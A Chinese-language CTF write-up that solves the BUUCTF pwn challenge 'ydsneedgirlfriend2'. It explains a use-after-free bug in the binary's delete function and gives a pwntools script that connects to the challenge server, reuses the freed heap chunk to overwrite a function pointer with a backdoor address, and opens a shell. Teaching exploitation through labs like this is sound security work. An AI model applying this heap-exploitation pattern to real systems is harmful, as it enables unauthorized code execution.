[BUUCTF]PWN——[BJDCTF 2nd]ydsneedgirlfriend2

[BJDCTF 2nd]ydsneedgirlfriend2

附件

步骤:

  1. 例行检查,64位程序,开启了canary和nx
    在这里插入图片描述
  2. 试运行一下程序,看看大概的情况,经典的堆块的布局
    在这里插入图片描述
  3. 64位ida载入,习惯性的检索程序里的字符串,发现了后门函数,shell_addr=0x400D86
    在这里插入图片描述
    4.找一下4个菜单选项的函数
    add
    在这里插入图片描述
    dele
    在这里插入图片描述
    dele函数存在明显的UAF漏洞,关于UAF漏洞,具体的看这篇文章
    https://my.oschina.net/u/4345478/blog/4656767

show
在这里插入图片描述
我们首先申请一块任意的内存,然后free掉,由于dele函数没有给指针置NULL,所以指向girlfriends这个数组的指针依然存在,接着我们在申请一块0x10大小的内存,那么系统就会将之前释放掉的0x10那一块给我们,此时我们就可以重写这一块的内容了。它一开始是puts函数,我们将他改为后门函数即可
在这里插入图片描述

from pwn import *
context.log_level="debug"

#r=process("./ydsneedgirlfriend2")

r=remote('node3.buuoj.cn',29537)

def add(size,context):
	r.recvuntil("u choice :
")
	r.sendline(str(1))
	r.recvuntil("Please input the length of her name:
")
	r.sendline(str(size))
	r.recvuntil("Please tell me her name:
")
	r.sendline(context)


def dele(index):
	r.recvuntil("u choice :
")
	r.sendline(str(2))
	r.recvuntil("Index :")
	r.sendline(str(index))

def show(index):
	r.recvuntil("u choice :
")
	r.sendline(str(3))
	r.recvuntil("Index :")
	r.sendline(str(index))

shell_addr=0x400D86

add(0x10,'aaaaaaa')

dele(0)

add(0x10,p64(0)+p64(shell_addr))

show(0)

r.interactive()

在这里插入图片描述

原文地址:https://www.cnblogs.com/xlrp/p/14273627.html